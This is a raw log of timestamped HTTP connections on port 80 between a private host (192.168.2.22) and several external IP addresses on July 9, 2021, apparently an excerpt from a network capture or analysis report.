Jul 9, 2021 03:07:43.076616049 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076641083 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076647043 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076690912 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076700926 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076715946 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076745033 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076769114 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.101370096 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101433039 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101481915 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101525068 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101562977 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101605892 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101609945 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.101644039 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101682901 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101712942 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.101722002 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101749897 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.101757050 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.101758957 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101798058 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.101808071 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101826906 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.101834059 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.101840019 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.101850033 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101875067 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.101881027 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.101886988 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101917028 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.101927042 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101964951 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.101959944 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102001905 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102022886 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102041006 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102058887 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102080107 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102089882 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102096081 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102127075 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102168083 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102159023 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102204084 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102226973 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102242947 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102262974 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102271080 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102281094 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102303982 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102329969 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102368116 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102387905 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102405071 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102417946 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102423906 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102452040 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102483988 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102509975 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102540970 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102550030 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102581978 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102588892 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102619886 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102627993 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102654934 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102664948 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102679968 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102704048 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102711916 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102734089 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.102790117 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.102798939 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.843913078 CEST	49168	80	192.168.2.22	50.19.92.227
Jul 9, 2021 03:07:43.944802046 CEST	80	49168	50.19.92.227	192.168.2.22
Jul 9, 2021 03:07:43.944905996 CEST	49168	80	192.168.2.22	50.19.92.227
Jul 9, 2021 03:07:43.945422888 CEST	49168	80	192.168.2.22	50.19.92.227
Jul 9, 2021 03:07:43.977598906 CEST	49169	80	192.168.2.22	23.21.211.162
Jul 9, 2021 03:07:44.047008991 CEST	80	49168	50.19.92.227	192.168.2.22
Jul 9, 2021 03:07:44.052028894 CEST	80	49168	50.19.92.227	192.168.2.22
Jul 9, 2021 03:07:44.052766085 CEST	49168	80	192.168.2.22	50.19.92.227
Jul 9, 2021 03:07:44.055072069 CEST	49166	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.056046009 CEST	49170	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.078018904 CEST	80	49169	23.21.211.162	192.168.2.22
Jul 9, 2021 03:07:44.078183889 CEST	49169	80	192.168.2.22	23.21.211.162
Jul 9, 2021 03:07:44.079777956 CEST	49169	80	192.168.2.22	23.21.211.162
Jul 9, 2021 03:07:44.108453989 CEST	80	49170	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:44.108490944 CEST	80	49166	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:44.108678102 CEST	49166	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.109078884 CEST	49170	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.109110117 CEST	49170	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.162594080 CEST	80	49170	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:44.176737070 CEST	80	49170	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:44.176832914 CEST	49170	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.180259943 CEST	80	49169	23.21.211.162	192.168.2.22
Jul 9, 2021 03:07:44.189335108 CEST	80	49169	23.21.211.162	192.168.2.22
Jul 9, 2021 03:07:44.189428091 CEST	49169	80	192.168.2.22	23.21.211.162
Jul 9, 2021 03:07:44.401544094 CEST	49170	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.402872086 CEST	49171	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.455581903 CEST	80	49170	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:44.455718040 CEST	49170	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.458048105 CEST	80	49171	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:44.458657980 CEST	49171	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.459810019 CEST	49171	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.513190031 CEST	80	49171	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:44.530076981 CEST	80	49171	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:44.530205965 CEST	49171	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.626315117 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:44.723310947 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:44.723486900 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:44.765602112 CEST	49171	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.768237114 CEST	49173	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.818944931 CEST	80	49171	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:44.819092035 CEST	49171	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.820194006 CEST	80	49173	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:44.820379972 CEST	49173	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.821475029 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:44.821758032 CEST	49173	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.822108030 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:44.822240114 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:44.822388887 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:44.822526932 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:44.822663069 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:44.823609114 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:44.823766947 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:44.874439001 CEST	80	49173	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:44.887322903 CEST	80	49173	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:44.889357090 CEST	49173	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:44.919230938 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:44.919279099 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:44.919306040 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:44.919331074 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:44.919354916 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:44.921482086 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:44.921524048 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:45.110198975 CEST	49173	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.111614943 CEST	49174	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.163830996 CEST	80	49173	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:45.163913965 CEST	49173	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.167798996 CEST	80	49174	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:45.167926073 CEST	49174	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.168654919 CEST	49174	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.229626894 CEST	80	49174	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:45.244801044 CEST	80	49174	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:45.244905949 CEST	49174	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.358469963 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:45.358572960 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:45.360234976 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:45.360306025 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:45.366883993 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:45.366971016 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:45.455317020 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:45.455343008 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:45.456468105 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:45.456688881 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:45.464992046 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:45.465015888 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:45.493292093 CEST	49174	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.494343042 CEST	49175	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.546560049 CEST	80	49175	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:45.546756029 CEST	49175	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.547195911 CEST	49175	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.547794104 CEST	80	49174	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:45.547868967 CEST	49174	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.599546909 CEST	80	49175	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:45.613605976 CEST	80	49175	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:45.613790989 CEST	49175	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.846466064 CEST	49175	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.847723961 CEST	49176	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.900206089 CEST	80	49175	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:45.900300980 CEST	49175	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.900906086 CEST	80	49176	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:45.900973082 CEST	49176	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.926341057 CEST	49176	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:45.984666109 CEST	80	49176	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:45.997448921 CEST	80	49176	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:45.997517109 CEST	49176	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.166667938 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.166712046 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.240431070 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.240500927 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.240864992 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.240916967 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.241275072 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.241322994 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.241441965 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.241518974 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.241586924 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.251213074 CEST	49176	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.252626896 CEST	49177	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.263334036 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.263358116 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.306587934 CEST	80	49176	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:46.306706905 CEST	49176	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.309696913 CEST	80	49177	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:46.309787035 CEST	49177	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.310456038 CEST	49177	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.338917017 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.338938951 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.339157104 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.339555025 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.339567900 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.339612007 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.339617968 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.339668036 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.343158007 CEST	80	49172	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.343209982 CEST	49172	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.365765095 CEST	80	49177	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:46.379241943 CEST	80	49177	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:46.379595041 CEST	49177	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.564407110 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.618264914 CEST	49177	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.619781971 CEST	49179	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.659148932 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.663532019 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.672019005 CEST	80	49179	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:46.672164917 CEST	49179	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.672894955 CEST	49179	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.673656940 CEST	80	49177	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:46.673743010 CEST	49177	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.724889994 CEST	80	49179	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:46.738626003 CEST	80	49179	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:46.741859913 CEST	49179	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.763545990 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.764728069 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.764750957 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.764754057 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.764758110 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.764760971 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.856343031 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.856379032 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.856401920 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.856420994 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.856440067 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.856604099 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.856919050 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.946059942 CEST	80	49178	95.213.179.67	192.168.2.22
Jul 9, 2021 03:07:46.946176052 CEST	49178	80	192.168.2.22	95.213.179.67
Jul 9, 2021 03:07:46.970310926 CEST	49179	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:46.971987009 CEST	49180	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.022608995 CEST	80	49179	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:47.022761106 CEST	49179	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.025229931 CEST	80	49180	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:47.025326967 CEST	49180	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.026523113 CEST	49180	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.081005096 CEST	80	49180	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:47.093946934 CEST	80	49180	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:47.094429016 CEST	49180	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.316606045 CEST	49180	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.318487883 CEST	49181	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.371434927 CEST	80	49180	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:47.371537924 CEST	49180	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.374247074 CEST	80	49181	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:47.374361038 CEST	49181	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.375097036 CEST	49181	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.431437016 CEST	80	49181	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:47.445048094 CEST	80	49181	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:47.445164919 CEST	49181	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.634370089 CEST	49169	80	192.168.2.22	23.21.211.162
Jul 9, 2021 03:07:47.676373005 CEST	49181	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.677440882 CEST	49182	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.731473923 CEST	80	49182	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:47.731702089 CEST	49182	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.732880116 CEST	49182	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.734910011 CEST	80	49181	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:47.735008001 CEST	49181	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:47.788750887 CEST	80	49182	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:47.801647902 CEST	80	49182	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:47.801947117 CEST	49182	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.038175106 CEST	49182	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.038786888 CEST	49183	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.090501070 CEST	80	49182	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:48.090696096 CEST	49182	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.093535900 CEST	80	49183	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:48.093677998 CEST	49183	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.095032930 CEST	49183	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.151227951 CEST	80	49183	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:48.165807009 CEST	80	49183	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:48.165915012 CEST	49183	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.390584946 CEST	49183	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.391714096 CEST	49184	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.449862003 CEST	80	49184	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:48.449934006 CEST	80	49183	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:48.450047970 CEST	49184	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.450154066 CEST	49183	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.451046944 CEST	49184	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.503582001 CEST	80	49184	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:48.518409014 CEST	80	49184	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:48.518527031 CEST	49184	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.755908012 CEST	49184	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.756995916 CEST	49185	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.809322119 CEST	80	49184	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:48.809537888 CEST	49184	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.809557915 CEST	80	49185	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:48.809629917 CEST	49185	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.810837984 CEST	49185	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:48.864794016 CEST	80	49185	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:48.878561974 CEST	80	49185	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:48.878670931 CEST	49185	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.107965946 CEST	49185	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.109110117 CEST	49186	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.160485983 CEST	80	49185	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:49.160639048 CEST	49185	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.163285971 CEST	80	49186	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:49.163463116 CEST	49186	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.164876938 CEST	49186	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.222784042 CEST	80	49186	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:49.235749960 CEST	80	49186	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:49.235924959 CEST	49186	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.470319986 CEST	49186	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.472938061 CEST	49187	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.527926922 CEST	80	49186	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:49.528033972 CEST	49186	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.528131008 CEST	80	49187	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:49.528366089 CEST	49187	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.529649973 CEST	49187	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.585378885 CEST	80	49187	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:49.601042986 CEST	80	49187	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:49.601182938 CEST	49187	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.865609884 CEST	49187	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.866934061 CEST	49188	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.917635918 CEST	80	49187	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:49.917757988 CEST	49187	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.921673059 CEST	80	49188	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:49.921870947 CEST	49188	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.923046112 CEST	49188	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:49.980604887 CEST	80	49188	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:49.993874073 CEST	80	49188	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:49.994013071 CEST	49188	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.231689930 CEST	49188	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:50.234076023 CEST	49189	80	192.168.2.22	77.222.42.67
